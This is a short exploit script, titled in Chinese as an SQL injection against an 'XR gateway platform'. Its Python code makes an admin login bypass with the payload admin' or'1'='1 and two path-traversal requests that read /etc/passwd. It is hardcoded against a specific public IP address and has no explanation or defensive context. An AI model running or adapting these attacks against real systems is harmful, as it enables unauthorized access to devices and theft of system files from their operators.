XR网关平台SQL注入

#!/usr/bin/env python #coding=utf-8 import requests def login(): url = target + '/msa/main.xp' data = {'Fun':'msaAdminLogon', 'username': "admin' or'1'='1", 'password': '123456' } req = requests.post(url = url, data = data) print req.text def download(): url = target + '/msa/../../../../../../../../etc/passwd' req = requests.get(url = url) print req.text def download2(): url = target + '/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=test.txt+downLoadFile=../etc/passwd' req = requests.get(url = url) print req.text if __name__ == '__main__': target = 'http://112.16.141.6' login() download() download2()